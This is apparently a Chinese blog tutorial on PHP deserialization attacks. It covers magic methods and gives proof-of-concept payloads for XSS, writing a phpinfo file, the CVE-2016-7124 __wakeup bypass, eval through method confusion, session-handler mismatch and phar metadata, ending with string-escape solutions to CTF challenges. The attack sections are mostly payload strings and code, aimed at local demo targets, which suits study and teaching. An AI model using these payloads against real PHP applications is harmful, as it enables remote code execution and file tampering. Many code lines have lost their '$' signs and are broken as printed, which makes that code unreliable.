# 序列化

# 1. 定义:

利用 serialize() 将一个对象转换为字符串

1.1 先看一下直接输出对象

<?php
 class test{
     public $name="ghtwf01";
     public $age="18";
 }
 $a=new test();
 print_r($a);
 ?>

效果:

test对象

1.2 利用 serialize() 函数将这个对象进行序列化成字符串然后输出,代码:

<?php
 class test{
     public $name="ghtwf01";
     public $age="18";
 }
 $a=new test();
 a=serialize(a);
 print_r($a);
 ?>

test对象反序列化的结果

# 2. 分析

2.1 如果不是 public 属性:

<?php
   class test{
    public $name="ghtwf01";
         private $age="18";
         protected $sex="man";
 }
  $a=new test();
     a=serialize(a);
     print_r($a);
 ?>

非public属性的序列化

private 分析:

  • 发现原本 age 属性变成了 testage
  • testage 的长度并不是 9,但长度显示为 9

解释:

private属性 序列化的格式是 %00类名%00成员名

protect 分析:

  • sex 变成了 *sex
  • 长度却是 6

解释:

protect属性 序列化的时候的格式是 %00*%00属性名

# 反序列化

# 1. 定义:

利用 unserialize() 函数将一个经过序列化的字符串转换成一个 php 代码

<?php
     $b='O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}';
     b=unserialize(b);
 print_r($b)
 ?>

反序列化之后的输出

# 反序列化漏洞利用原理

# 1. php 的魔术函数:

详解链接:https://segmentfault.com/a/1190000007250604

__construct()当一个对象创建时被调用
 
 __destruct()当一个对象销毁时被调用
 
 __toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用
 
 __sleep() 在对象在被序列化之前运行
 
 __wakeup()将在反序列化之后立即被调用
 
 __invoke() 调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
 __call() 方法用于监视错误的方法调用。该方法在调用的方法不存在时会自动调用

利用代码演示效果:

<?php
 class test{
     public $a='hacked by ghtwf01';
     public $b='hacked by blckder02';
     public function pt(){
         echo $this->a.'<br />';
    }
     public function __construct(){
         echo '__construct<br />';
    }
     public function __destruct(){
         echo '__construct<br />';
    }
     public function __sleep(){
         echo '__sleep<br />';
         return array('a','b');
    }
     public function __wakeup(){
         echo '__wakeup<br />';
    }
 }
 // 创建对象调用__construct
 $object = new test();
 // 序列化对象调用__sleep
 serialize=serialize(object);
 // 输出序列化后的字符串
 echo 'serialize: '.$serialize.'<br />';
 // 反序列化对象调用__wakeup
 unserialize=unserialize(serialize);
 // 调用 pt 输出数据
 $unserialize->pt();
 // 脚本结束调用__destruct
 ?>

对象序列化时调用流程

最后两个__construct 是在脚本结束后输出:

  • 实例化的时候 new 了一个对象
  • 反序列化的时候创建对象

# 2. 存在反序列化漏洞的代码

<?php
 class A{
     public $test = "demo";
     function __destruct(){
             echo $this->test;
    }
 }
 a=_GET['value'];
 aunser=unserialize(a);
 ?>

这样,我们可以将我们的代码,先进行序列化,再传入,上面的类中有 echo 函数,我们可以利用他来输出 hacked by

注意:

  • 我们所进行序列化的代码必须和存在漏洞代码中的类的代码一样

POC:

<?php
  class A{
         public $test="hacked by ghtwf01";
    }
     $b= new A();
     result=serialize(b);
     print_r($result);
 ?>
 O:1:"A":1:{s:4:"test";s:17:"hacked by ghtwf01";}

序列化之后的字符串

传送参数

http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:17:%22hacked+by+ghtwf01%22;}

接下来,把那个执行代码,转换成危险代码,不如说 xss

 http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:29:%22<script>alert('xss')</script>%22;}

注意:

  • 修改代码后,记得修改长度参数

传入js构造xss

# 例一

  1. 本地环境搭建

phpstudy

文件 php.php:

<?php
 error_reporting(0);
 include "flag.php";
 $KEY = "D0g3!!!";
 str=_GET['str'];
 if (unserialize(str) === "KEY")
 {
     echo "$flag";
 }
 show_source(__FILE__);

flag.php 由自己创建再题目代码的同一目录下

文件 flag.php:

<?php
 $flag='flag{You_Are_Great!!!}';
 ?>

payload:

<?php
 $a="D0g3!!!";
 b=serialize(a);
 print_r($b);
 ?>

# 例二

  1. 题目代码
<?php
     class foo{
         public $file = "2.txt";
         public $data = "test";
         function __destruct(){
             file_put_contents(dirname(__FILE__).'/'.this->file,this->data);
        }
    }
     file_name = _GET['filename'];
     print "You have readfile ".$file_name;
     unserialize(file_get_contents($file_name));
 ?>

这段代码中,又一个类 foo,在他的对象被销毁的时候,会将 $data 部分的内容,写进 $file 命名的文件内,并且路径是当前目录.

  1. POC:
<?php
 class foo{
   public $file="1.php";
   public $data="<?php phpinfo();?>"; 
 }
 $a=new foo();
 b=serialize(a)
 ?>

2.1 得到序列化字符串:

O:3:"foo":2:{s:4:"file";s:5:"1.php";s:4:"data";s:18:"<?php phpinfo();?>";}
  1. 之后,将其放进本地的一个文件中:

  2. 从首页中传入 filename 参数

http://localhost/php.php?filename=test.txt

传入序列化之后的文件

反序列化后的语句执行

# 3. CVE-2016-7124 __wakeup 绕过

# 3.1. __wakeup 函数简介:

unserialize() 会检查是否存在一个 __wakeup() 方法,如果存在,就会首先调用这个方法,预先准备对象需要的资源

反序列化的时候如果对象属性个数的值大于真实的属性个数的时候会跳过 __wakeup 执行

# 3.2. 漏洞影响版本:

    • php5 < 5.6.25
    • php7 < 7.0.10

# 3.3. 漏洞复现:

代码如下:

<?php     
 class A{         
     public $target = "test";         
     function __wakeup(){
            $this->target = "wakeup!";
        }         
     function __destruct(){             
     $fp = fopen("hello.php","w");
     fputs(fp,this->target);       
     fclose($fp);
       }    
 }     
 a = _GET['test'];
 b = unserialize(a);     
 echo "hello.php"."<br/>";     
 include("./hello.php"); ?>

魔法函数要比__destruct () 函数首先执行,所以我们直接传入

O:1:"A":1:{s:6:"target";s:19:"<?php phpinfo(); ?>";}

首先会被执行的是 __wakeup() 函数,这时候 target 函数值会被覆盖为 wakeup! , 然后生成 hello.php 里面的内容是 __wakeup

考虑绕过:

    • 属性个数的值大于真实属性个数时就会跳过 __wakeup 执行

构造 POC:

O:1:"A":2:{s:6:"target";s:19:"<?php phpinfo(); ?>";}

__wakeup绕过

# 4. 注入对象构造方法

当目标对象被 private 和 protected 修饰时反序列化漏洞的利用

上面说了 privateprotected 返回长度和 public 不一样的原因

private属性序列化的时候格式是%00类名%00成员名protect属性序列化的时候格式是%00*%00成员名

protected 情况下:

<?php    
class A{
        protected $test = "hahaha";
        function __destruct(){
                 echo $this->test;
          }
     }    
a = _GET['test'];
b = unserialize(a);
?>

构造方式:

<?php    
class A{
        protected $test = "hahaha";
}    
$a = new A();    
b = serialize(a);		
print_r($b)
?>

得到字符串:

O:1:"A":1:{s:7:"*test";s:6:"hahaha";}
  • 注意:

此时的 %00 并没有显示出来,因此我们需要在传参的 url 中加上 %00

protect属性反序列化

private 情况下:

POC:

<?php    
class A{        
private $test = "hahaha";    
}    
$a = new A();    
b = serialize(a);		
print_r($b)
?>

得到字符串:

O:1:"A":1:{s:7:"Atest";s:6:"hahaha";}

同理,我们仍然需要补足 %00

private属性的反序列化

# 5. 同名方法的利用

# 漏洞代码:

<?php    
class A{
        public $target;        
        function __construct(){
                 $this->target = new B;
           }        
        function __destruct(){            
        $this->target->action();
           }    
  }    
class B{
        function action(){
                 echo "action B";
             }
  }    
class C{
        public $test;
        function action(){
            echo "action A";            
            eval($this->test);
           }    
}    
unserialize($_GET['test']);
?>
  • 很显然在代码中,我们希望执行的是 C 中的 action 函数,而不是 b 中的 action 函数.

POC:

<?php
class A{
    public $target;
    function __construct(){
        $this->target = new C;
        $this->target->test = "phpinfo();";
            }    
    function __destruct(){
        $this->target->action();
            }
 }
class C{
    public $test;
    function action(){
        echo "action C";        
        eval($this->test);
            }
}
$a = new A();
echo serialize($a);
?>

得到字符串:

O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

同名方法利用

# 6. session 反序列化漏洞

# 6.1. 什么是 session

英文翻译为 "会话", 两个人从开始到结束就构成了一个回话。php 里的 session 主要指客户端浏览器与服务器端数据交换的回话,从浏览器打开到关闭的,一个最简单的回话周期

# 6.2. PHP session 工作流程

当开始一个回话的时候,php 会尝试在请求中查找会话 ID,如果发现请求的 CookieGetPost 中不存在 session idPHP 就会自动调用 php_session_create_id 函数创建一个新的会话,并且在 http response 中通过 set-cookie 头部发送给客户端保存,例如登录如下网页 Cokkie、Get、Post 都不存在 session id ,于是就使用了 set-cookie 头。有时候浏览器用户设置会禁止 cookie ,当在客户端 cookie 被禁用的情况下, php 也可以自动将 session id 添加到 url 参数中以及 formhidden 字段中,但这需要将 php.ini 中的 session.use_trans_sid 设为开启,也可以在运行时调用 ini_set 来设置这个配置项

  • 会话开始之后, PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:
<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'ghtwf01' 
  ;}
 ?>

创建一个 session 内容是 username:ghtwf01

phpsession流程图

# 6.3. Php.ini 配置

session.save_path=""      --设置session的存储位置
session.save_handler=""   --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start        --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

phpstudy 下上述配置如下:

session.save_path = "/tmp"      --所有session文件存储在/tmp目录下session.save_handler = files    --表明session是以文件的方式来进行存储的session.auto_start = 0          --表明默认不启动sessionsession.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎session.upload_progress.enabled on --表明允许上传进度跟踪,并填充 _SESSION变量session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息( _SESSION变量)

有关 phpsession 和 php 处理器的详解:

https://xz.aliyun.com/t/6753

# 6.4. PHP session 的存储机制

PHP session 的存储机制是由 session.serialize_handler 来定义引擎的,默认是以文件的方式存储,且存储的文件是由 sess_sessionid 来决定文件名的,当然这个文件名也不是不变的,都是 sess_sessionid 形式

session.serialize_handler ,它定义的引擎有三种

处理器名称 存储格式
php 键名 + 竖线 + 经过 serialize () 函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize () 函数序列化处理的值
php_serialize(php>5.5.4) 经过 serialize () 函数序列化处理的数组
  1. # php 处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');// 设置处理器 session_start ();
_SESSION['session'] = _GET['session'];
?>

php session

到 session 的存储目录下看一下 session

session

session$_SESSION['session'] 的键名, | 后为传入 GET 参数经过序列化后的值

session文件内容

# 6.5. session 的反序列化漏洞利用

php 处理器和 php_serialize 处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理:

  • 在用 session.serialize_handler = php_serialize 存储的字符可以引入 |
    • 再用 session.serialize_handler = php 格式取出 $_SESSION 的值时, | 会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

漏洞代码:

session.php:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
_SESSION['session'] = _GET['session'];
?>

test2.php

<?php    
error_reporting(0);  
ini_set('session.serialize_handler','php');  
session_start();  
class D0g3{
    public $name = 'panda';
    function __wakeup(){
      echo "Who are you?";
          }    
    function __destruct(){
          echo '<br>'.$this->name;
          }  
 }  
 $str = new D0g3(); ?>

session.php 文件的处理器是 php_serializetest2.php 文件的处理器是 phpsession.php 文件的作用是传入可控的 session 值, test2.php 文件的作用是在反序列化开始前输出 Who are you? ,反序列化结束的时候输出 name

运行一下 hello.php 看一下效果

image (94)

POC:

<?php    
class D0g3{
    public $name = 'ghtwf01';
    function __wakeup(){
          echo "Who are you?";    
          }    
    function __destruct(){
          echo '<br>'.$this->name;    
          }  
 }  
 $str = new D0g3();
 echo serialize($str); ?>

显示结果:

O:4:"D0g3":1:{s:4:"name";s:7:"ghtwf01";}ghtwf01

image (95)

因为 sessionphp_serialize 处理器,所以允许 | 存在字符串中,所以将这段代码序列化内容前面加上 | 传入 session.php

现在来看一下存入 session 文件的内容

构造session

再打开 test2.php

利用成功

# 7. Phar 拓展反序列化攻击面

# 1. phar 文件简介

一个 php 应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在 window 操作系统上面的安装程序、一个 jquery 库等等,为了做到这点 php 采用了 phar 文档文件格式,这个概念源自 javajar ,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是 Phar 归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用 php 脚本就能创建或提取它。 phar 是一个合成词,由 PHPArchive 构成,可以看出它是 php 归档文件的意思 (简单来说 phar 就是 php 压缩文档,不经过解压就能被 php 访问并执行)

# 2. phar 的组成结构:

stub: phar文件的标识,格式为xxx<?php xxx;__HALT_COMPILER();?>mainfest: 也就是meta-data,压缩文件的属性等信息,以序列化储存contents: 压缩文件的内容signature: 签名,放在文件的末尾

# 3. 前提条件:

php.ini中设置为phar.readonly=Off
php version>=5.3.0

# phar 反序列化漏洞

  1. 漏洞成因:

phar 存储的 meta-data 信息以序列化方式存储,当文件操作函数通过 phar:// 伪协议解析 phar 文件时就会将反序列化

  1. demo 测试

根据文件结构自己构建一个 phar 的文件,php 内置了 phar 类处理相关操作

<?php    
class TestObject {
  
}    
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀名必须为 phar    
$phar->startBuffering();    
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub    
$o = new TestObject();    
phar->setMetadata(o); // 将自定义的 meta-data 存入 manifest    
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件    // 签名自动计算    
$phar->stopBuffering();
?>
        • 原文链接

# 反序列化字符串逃逸:

字符串增加修改原有序列化字符串:

# EasyUnser:

<?php
 include_once'flag.php';
 highlight_file(__FILE__);
 function filter($str)
 {
     return str_replace('secure','secured',$str);
 }
 class Hacker{
     public $username = 'margin';
     public $password = 'margin123';
 }
 $h = new Hacker();
 if (isset(_POST['username'])&&isset(_POST['password'])){
     //Security filter
     h->username=_POST['username'];
     c = unserialize(filter(serialize(h)));
     if($c->password === 'hacker'){
         echo $flag;
    }
 }
  • 想办法逃逸掉原来的 password
  • 根据过滤函数,过滤后增加一位

逃逸方式:

  1. 先得到 $h 的序列化字符串
<?php
 class Hacker{
     public $username = 'margin';
     public $password = 'hacker';
 }
 $h = new Hacker();
 y = serialize(h);
 echo $y;
 ?>

得到想要的 (符合题目的) 序列化字符串

O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:6:"hacker";}
 // 真正的序列化字符串 (由于密码不能控制)
 O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:9:"margin123";}
 // 需要补足的字符串
 ";s:8:"password";s:6:"hacker";}

根据 filter 函数,会增加 secure 的位数

字符串逃逸

猜想,利用 secure 补足 username 的位数,后面加上 password 密码字符串,进而修改 password

payload:
 <?php class Hacker{     public username ='securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}';     public password = 'margin123'; } h = new Hacker(); y = serialize(h); echo y; ?>   //username传送参数 securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}  ";s:8:"password";s:6:"hacker";}这里是31位,想要他作为password字符串,就要补足username的位数,利用filter函数,需要31个secure
  • 传参数

# Justserialize

根据题目,很显然知道 obj 的变化顺序

 数组--->对象--->序列化字符串--->对象--->数组

根据题意,对象有 flag 成员,并且值应该是 flag

<?php 
 $obj=(object)array("flag"=>"flag");
 obj->min=&obj->flag; // 绕过 $k!=="flag"; 
 b = serialize(obj); 
 echo $b;
  ?>
    • 得到序列化字符串
O:8:"stdClass":2:{s:4:"flag";s:4:"flag";s:3:"min";R:2;}

由于正则过滤了 flag

hex 编码绕过,同时将 s 转变为 S (以 hex 进行识别)

O:8:"stdClass":2:{S:4:"\66\6c\61\67";S:4:"\66\6c\61\67";s:3:"min";R:2;}

# 键值对逃逸:

变量名 (键逃逸):

上例题:

<?php
//flag in fl0gd.php
error_reporting(0);
highlight_file(__FILE__);
yutu = _GET['y'];
function rongyao($a){
    return preg_replace('/php|phtml|flag|/i','',$a);
}
if($_COOKIE){
    unset($_COOKIE);
}
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
extract($_POST);
if(!$_GET['photo']){
    $_ABC['photo'] = base64_encode('photo.png');
}else{
    _ABC['photo'] = md5(base64_encode(_GET['photo']));
}
serialize = rongyao(serialize(_ABC));
if($yutu=='qiaojingjing'){
    echo 'you are my rongyao~~';
}else if($yutu=='show_photo'){
    phpinfo = unserialize(serialize);
    echo file_get_contents(base64_decode($phpinfo['photo']));
}

直接上 payload:

_ABC[flagphp]=;s:1:"1";s:5:"photo";s:16:"Li9mbDBnZC5waHA=";}
* 注意要添加;s:1:"1";,作为flagphp被过滤后对应键名值,令photo作为键名后面的作为值

做题过程,原理:

extract($_POST); // 将 post 参数解析成变量

反序列化点

serialize = rongyao(serialize(_ABC)); // 存在一条反序列化语句
echo file_get_contents(base64_decode($phpinfo['photo']));

序列化之后调用的函数:

  • 这里将 php,phtml,flag 替换成空
  • 我们需要将 $phpinfo['photo'] 替换成 fl0g.phpbase64 编码但是代码中的 photo 已经被确定
  • 刚好经过序列化的字符串被 rongyao 函数进行了过滤,字符串的结构可能遭到破坏,那么就有可能会造成漏洞

fl0gd.phpbase64 编码

ZmwwZ2QucGhw

正常的序列化字符串:

<?php
$yutu='abcdef';
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
if(!$_GET['photo']){
    $_ABC['photo'] = base64_encode('photo.png');
}else{
    _ABC['photo'] = md5(base64_encode(_GET['photo']));
}
echo serialize($_ABC);
?>
a:3:{s:7:"xiaqing";s:7:"xiaqing";s:3:"qjj";s:6:"abcdef";s:5:"photo";s:12:"cGhvdG8ucG5n";}

利用过滤函数尝试字符串逃逸:

s:5:"photo";s:12:"cGhvdG8ucG5n";}
改成:
s:5:"photo";s:12:"ZmwwZ2QucGhw";}

如果序列化字符串中存在 phtml,或者 php

<?php
$yutu='abcdef';
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
$_ABC['php'] = 's:5:"photo";s:12:"ZmwwZ2QucGhw";}';
if(!$_GET['photo']){
    $_ABC['photo'] = base64_encode('photo.png');
}else{
    _ABC['photo'] = md5(base64_encode(_GET['photo']));
}
echo serialize($_ABC);
?>
a:4:{s:7:"xiaqing";s:7:"xiaqing";s:3:"qjj";s:6:"abcdef";s:3:"php";s:33:"s:5:"photo";s:12:"ZmwwZ2QucGhw";}";s:5:"photo";s:12:"cGhvdG8ucG5n";}

尝试利用函数:

<?php
$yutu='abcdef';
$_ABC["xiaqing"] = 'xiaqing';
_ABC["qjj"]=yutu;
$_ABC['phpflag'] = 's:5:"photo";s:12:"ZmwwZ2QucGhw";}';
if(!$_GET['photo']){
    $_ABC['photo'] = base64_encode('photo.png');
}else{
    _ABC['photo'] = md5(base64_encode(_GET['photo']));
}
function rongyao($a){
    return preg_replace('/php|phtml|flag|/i','',$a);
}
echo rongyao(serialize($_ABC));
?>

此时的 photo 是变量的值所以我们需要继续添加序列化字符串使得 photo 变成变量名

$_ABC['phpflag'] = ';s:3:"qjj";s:5:"photo";s:12:"ZmwwZ2QucGhw";}';

img

因此 POST 传参数:

_ABC['phpflag'] = ';s:3:"qjj";s:5:"photo";s:12:"ZmwwZ2QucGhw";}'

之后右键查看源代码

POP 链构造:

  • 找到反序列化的点,通过代码给出的类找到危险函数
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

尘落 微信支付

微信支付

尘落 支付宝

支付宝

尘落 贝宝

贝宝